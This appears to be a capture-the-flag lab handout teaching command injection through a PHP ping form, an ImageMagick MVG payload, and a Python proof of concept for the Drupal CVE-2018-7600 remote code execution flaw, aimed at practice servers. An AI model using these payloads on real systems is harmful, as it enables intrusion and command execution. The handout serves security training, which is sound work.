ED 102: Command Injection (20 pts + 40 pts extra)

Ping Form (20 pts)

To use the form normally, enter a target, such as

127.0.0.1

127.0.0.1; ls

$c = "ping -c 2 " . $ac;
system($c);

Challenges: Find the Flags (20 pts) Inject Linux commands to list the files on the server, and look inside them. There are four flags available on this server: ED 102.1: Flag 1 (5 pts) ED 102.2: Flag 2 (5 pts) ED 102.3: Flag 3 (5 pts extra) ED 102.4: Flag 4 (5 pts extra) Hint: here are some useful commands to try: ls grep cat find

ImageMagick Vulnerability (20 pts)

Normal Usage

1. Get a normal GIF or JPEG image
2. Upload it using the buttons below
3. Click the thumbnail to see your image

Vulnerability

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com"|echo "HELLO";date;")'
pop graphic-context

The "echo" and "date" commands execute, as shown below.

Challenges: Find the Flags (20 pts) There are two flags available in the "chal2" folder: ED 102.5: Find Flag 5 inside a file (10 pts) ED 102.6: To find flag 6, find some Python code inside a file on the server. Copy that code into an environment that can run Python version 2 and run it there to see the flag. (10 pts extra)

Drupal Command Injection (20 pts extra)

Background

https://thehackernews.com/2018/04/drupal-rce-exploit-code.html

In this project, you'll perform that attack.

Viewing the Vulnerable Website

https://drupal.samsclass.info/

The site is protected by HTTP basic authentication. Log in with a username of student1 and a password of student1

It's just a default installation of Drupal, as shown below.

Preparing the Attack

Execute these commands to install pip on Debian 10:

sudo apt update
sudo apt install python-pip -y
pip install requests

Debian 11 Users If you are using Debian 11, do this: sudo apt update sudo apt install python3-pip -y pip3 install requests To run the script, use "python3" instead of "python".

import sys
import requests
from requests.auth import HTTPBasicAuth

# Based on https://github.com/a2u/CVE-2018-7600 by Vitalii Rudnykh

target = "https://drupal.samsclass.info/"

url = target + 'user/register?element_parents=account/mail/' \
      + '%23value&ajax_form=1&_wrapper_format=drupal_ajax' 
      
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 
           'mail[#post_render][]': 'exec', 'mail[#type]': 'markup',
           'mail[#markup]': 'echo ";-)" | tee YOURNAME.txt'}

r = requests.post(url, data=payload, auth=HTTPBasicAuth('student1', 'student1'))

check = requests.get(target + 'YOURNAME.txt', auth=HTTPBasicAuth('student1', 'student1'))
if check.status_code != 200:
  sys.exit("Not exploitable")
  
print ('\nCheck: '+target+'YOURNAME.txt')

Running the Attack

python dru.py

Challenges: Find the Flags (20 pts) There are two flags on this server: ED 102.7: Find Flag 7 (10 pts) ED 102.8: Find Flag 8 (10 pts) Hint: the files have "flag" in their names, they are owned by "root", and were created on April 23, 2019.